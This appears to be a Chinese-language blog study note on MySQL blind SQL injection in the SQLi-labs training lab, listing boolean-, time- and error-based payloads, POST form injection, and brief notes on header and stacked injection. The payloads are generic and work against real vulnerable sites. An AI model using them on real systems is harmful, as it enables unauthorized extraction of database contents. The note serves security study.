MySQL注入实例五——盲注
平台:SQli-labs
Less-5
1.基于布尔的盲注
布尔盲注理论基础(无回显通过返回真假判断数据)
https://blog.csdn.net/weixin_45146120/article/details/100104131
观察页面并寻找注入点
/?id=1
/?id=1’
用Left函数猜测数据库版本,第一位是否为1(若错误则无回显)
/?id=1’and left(version(),1)=1%23
使用length()获取数据库长度
/?id=1%27and%20length(database())=8%23
使用left()判断数据库名称第一位是否大于a
/?id=1%27and%20left(database(),1)>%27a%27–+
使用ascii()判断第一张表首字母是否为e:
/?id=1’and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101–+
使用regexp获取users 表中的列
/?id=1%27%20and%201=(select%201%20from%20information_schema.columns%20where%20table_name=%27users%27
使用ord()和mid()函数获取users 表的内容
/?id=1’ and 1=(select 1 from information_schema.columns where table_name=‘users’ and table_name regexp ‘^us[a-z]’ limit 0,1)–+
2.基于时间的盲注
基于时间的盲注理论基础
https://blog.csdn.net/heibaikong6/article/details/100836414
使用sleep()函数猜测数据库名
/?id=1’and If(ascii(substr(database(),1,1))=115,1,sleep(5))–+
使用BENCHMARK()函数猜测数据库名
/?id=1’UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE(‘MSG’,‘by 5 seconds’)),null)),2,3 FROM (select database() as current) as tb1–+
3.基于报错的盲注
基于报错的盲注理论基础
https://blog.csdn.net/qq_35544379/article/details/77453019
使用XPATH语法错误获取数据库版本
/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20@@version),0x7e))%20–+
/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20@@version),0x7e),1)%20–+
使用mysql重复特性猜测数据库版本号
- Floor函数报错原理分析:
如果count(*)和group by同时在SQL语句中,就会产生虚拟表;
向虚拟表插入数据包含两个动作:1. 检查主键是否存在;2.如果不存在,就插入新主键;存在就计数加1
如何构造主键值重复:floor(rand(0)*2)
4.POST盲注
通过对输入框进行传参,可以被带入数据库进行的查询
注入条件:1.用户可以控制传参,2.用户输入的语句被带入数据库进行查询
Less-11
一.post盲注概念
1.首先post盲注和get盲注一样,只是不会拼接到url中
2.post请求会向指定资源提交数据,请求服务器进行处理,如,表单提交,文件上传等,请求数据会包含在请求体中
3.使用post方法时,查询字符在post信息中单独存在,和http请求一起发送到服务器
特点:
1.POST请求不能被缓存下来
2.POST请求不会保存在浏览器浏览记录中
3.以POST请求的URL无法保存为浏览器书签
4.POST请求没有长度限制
找到注入点
使用单引号闭合
使用union注入获取数据库名
1admin’union select 1,database()#
使用基于时间的盲注猜测数据库名
admin’and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&
5.http头部注入
参考链接:https://blog.csdn.net/weixin_45146120/article/details/100588267
原理:一般获取头部的信息用于数据分析,但是通过请求头部也可以向数据库发送查询信息,通过构造恶意语句可以对数据库进行信息查询。
条件:
1.能够对请求头消息进行修改,
2.修改的请求头信息能够带入数据库的查询
3.数据库没有对输入的请求信息做过滤
6.堆叠注入
参考链接:https://blog.csdn.net/weixin_45146120/article/details/101037211